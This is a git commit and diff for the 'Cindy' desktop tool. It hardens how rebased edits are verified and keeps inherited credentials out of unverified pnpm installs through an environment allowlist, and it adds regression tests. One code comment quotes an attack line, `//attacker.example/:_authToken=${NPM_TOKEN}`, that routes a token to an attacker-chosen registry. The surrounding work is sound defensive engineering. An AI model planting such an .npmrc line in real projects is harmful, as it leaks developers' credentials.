fix(cindy-make): 被改写的删除行不算删除、未验证安装只给白名单环境

修复安全复审两项(thread 4162977344 / 4162977341):

1. `editsSurvive` 的删除行核对不再只做整行精确相等:解决冲突时把被删内容
   改写保留(`deny()` 变成 `deny() // upstream note`)曾被当成「已删除」,
   让丢失用户删除的替代提交整单作证。删除行的内容以同一套有序、保重数的
   子序列比对识别「结果里仍有行携带它」,命中即不作证;新增行与删除行共用
   同一套比对(within),两侧对称、都失败闭。
2. 未验证安装改为白名单环境:只放行进程必需(PATH/SystemRoot/ComSpec/临时
   目录/HOME 等)与 Cindy 工具链自身的设置(COREPACK_*、PYTHON*、
   npm_config_python 等),其余一律不传。此前只滤 `npm_config_*`,启动
   Cindy 时继承的 NPM_TOKEN / GITHUB_TOKEN 等仍会被内容自带 `.npmrc` 的
   `${VAR}` 展开成发往攻击者 registry 的凭证。

回归:keepChanges.git-integration(被删行以改写形态保留须点名 missing)、
taskWorkspace.test(NPM_TOKEN/GITHUB_TOKEN/AWS 密钥/代理变量一律不出现在
未验证安装的环境里)。

验证:desktop typecheck;src/main/cindy-make 1228 通过(含 git-integration);
test:unit:related 通过。

Signed-off-by: MagicLizi <jiali@magiclizi.com>
This commit is contained in:
MagicLizi
2026-10-02 13:25:32 +08:00
parent 097bfbdf4c
commit 506e3d64d1
4 changed files with 98 additions and 23 deletions

View File

@@ -273,6 +273,35 @@ it('names a binary change whose same-identity replacement has different content'
}
}, 60_000);
it('names a change whose deleted line a resolved rebase kept adapted', async () => {
const h = await repos();
try {
// One change deletes `5` and edits another line.
await h.write(h.source, 'feature.txt', replace(0, 'mine', ['1', '2', '3', '4', '6', '7', '8']));
const dropped = await h.commit(h.source, '', 4_000);
await h.write(h.official, 'feature.txt', replace(0, 'official'));
const target = await h.commit(h.official, 'official v2');
const state = await prepareUpstreamMerge(h.userData, update(h, target), h.git, async () => {});
expect(state.status).toBe('conflict');
const worktree = mergeWorktree(h.userData, state.id);
// The replayed commit keeps the text edit, but the deleted line survives in
// adapted form: the deletion did not happen and must not be vouched for.
await h.write(
worktree,
'feature.txt',
replace(0, 'official and mine', ['1', '2', '3', '4', '5 // upstream note', '6', '7', '8']),
);
await h.git(['add', '-A'], worktree);
await h.git([...h.identity(true), 'rebase', '--continue'], worktree);
await expect(applyUpstreamMerge(h.userData, state, h.git)).rejects.toMatchObject({
code: 'checksFailed',
missing: { count: 1, commits: [dropped] },
});
} finally {
await h.clean();
}
}, 60_000);
it('journals the adopted rewrite as unverified before the source moves', async () => {
const h = await repos();
try {

View File

@@ -137,6 +137,38 @@ describe('prepareCindyMakeWorkspace', () => {
);
});
it('keeps inherited secrets out of an unverified install environment', async () => {
let seen: NodeJS.ProcessEnv | undefined;
const pnpm = vi.fn(async (env: NodeJS.ProcessEnv) => {
seen = env;
});
const worktreePath = await withManifest('run-12');
await installUnverified('run-12', worktreePath, {
processEnvironment: {
PATH: '/tools',
SystemRoot: 'C:\\Windows',
HOME: '/home/me',
npm_config_python: '/tools/python',
npm_config_manage_package_manager_versions: 'false',
// How Cindy was launched must not reach a content `.npmrc`: its `${VAR}`
// expansion would send these to a registry the content chooses.
NPM_TOKEN: 'gho_secret-token',
GITHUB_TOKEN: 'ghp_secret-token',
AWS_SECRET_ACCESS_KEY: 'aws_secret-key',
HTTP_PROXY: 'http://user:pass@proxy.invalid',
},
pnpm,
});
expect(seen).toEqual({
PATH: '/tools',
SystemRoot: 'C:\\Windows',
HOME: '/home/me',
npm_config_python: '/tools/python',
npm_config_manage_package_manager_versions: 'false',
npm_config_userconfig: os.devNull,
});
});
it('refuses to install unverified content through a node_modules link', async () => {
const pnpm = vi.fn(async () => undefined);
const worktreePath = await withManifest('run-10');

View File

@@ -18,6 +18,16 @@ import {
export type TaskWorkspacePhase = 'checking' | 'creating' | 'installing';
/**
* What an unverified install may see of the environment, matched
* case-insensitively: process essentials and Cindy's own toolchain settings.
* Everything else — above all credentials inherited from how Cindy was launched —
* stays out, because `${VAR}` in a content `.npmrc` expands it into a request to a
* host the content chooses.
*/
const UNVERIFIED_INSTALL_ENV =
/^(?:path|systemroot|windir|comspec|tmp|temp|home|userprofile|lang|lc_.*|tz|corepack_.*|pnpm_manage_package_manager_versions|pythondontwritebytecode|pythonutf8|python|npm_config_(?:manage_package_manager_versions|managepackagemanagerversions|python))$/i;
export interface TaskWorkspaceDeps {
/** Toolchain PATH (system tools first, managed copies otherwise). */
processEnvironment: NodeJS.ProcessEnv;
@@ -178,19 +188,18 @@ export async function installCindyMakeWorktree(
await pnpm(
options.ignoreScripts
? {
// Unverified synced content runs no install-time code and pnpm writes only
// inside the worktree: no lifecycle scripts, no `.pnpmfile.cjs` hooks (which
// `--ignore-scripts` alone would still execute), the write roots pinned over
// any `.npmrc` of the content's own, `npm_config_*` out of the environment
// except the toolchain's own settings, and the user's npm credentials never
// loaded — a content `.npmrc` must not route them to a proxy of its choosing.
// Unverified synced content runs no install-time code and sees a minimal
// environment: no lifecycle scripts, no `.pnpmfile.cjs` hooks (which
// `--ignore-scripts` alone would still execute), the write roots pinned
// over any `.npmrc` of the content's own, and the user's npm credentials
// never loaded — a content `.npmrc` must not route them to a proxy of its
// choosing. Only what the install needs is forwarded at all: any inherited
// variable could otherwise be expanded by a content `.npmrc`
// (`//attacker.example/:_authToken=${NPM_TOKEN}`) into a credential sent
// to a registry the content chooses (see `UNVERIFIED_INSTALL_ENV`).
...Object.fromEntries(
Object.entries(deps.processEnvironment).filter(
([key]) =>
!/^npm_config_/i.test(key) ||
/^npm_config_(manage_package_manager_versions|managePackageManagerVersions|python)$/i.test(
key,
),
Object.entries(deps.processEnvironment).filter(([key]) =>
UNVERIFIED_INSTALL_ENV.test(key),
),
),
npm_config_userconfig: os.devNull,

View File

@@ -460,19 +460,24 @@ async function editsSurvive(
const content = await git(['show', `${result}:${name}`], cwd).catch(() => '');
const lines = content.split(/\r?\n/);
const wordsOf = (line: string) => line.split(/\s+/).filter(Boolean);
// Ordered, multiplicity-preserving subsequence: an adapted line may fuse in
// words of the other side, but reordering or dropping words is not "kept"
// (`return a - b` is not `return b - a`).
const present = (content: string) => {
// One line carries another's content by an ordered, multiplicity-preserving
// subsequence: an adapted line may fuse in words of the other side, but
// reordering or dropping words is not "kept" (`return a - b` is not
// `return b - a`), and a comparison that cannot prove the words kept their
// order and count fails closed.
const within = (content: string, line: string) => {
const needed = wordsOf(content);
return lines.some((line) => {
const words = wordsOf(line);
let at = 0;
for (const word of words) if (word === needed[at]) at += 1;
return at === needed.length;
});
if (!needed.length) return false;
const words = wordsOf(line);
let at = 0;
for (const word of words) if (word === needed[at]) at += 1;
return at === needed.length;
};
const stillThere = (content: string) => lines.some((line) => line.trim() === content);
const present = (added: string) => lines.some((line) => within(added, line));
// A removed line is gone only when no line of the result carries its content:
// a resolution that kept it adapted (`deny()` as `deny() // upstream note`)
// did not apply the deletion and must not vouch for the change.
const stillThere = (removed: string) => lines.some((line) => within(removed, line));
if (added.some((line) => !present(line)) || removed.some(stillThere)) return false;
}
return true;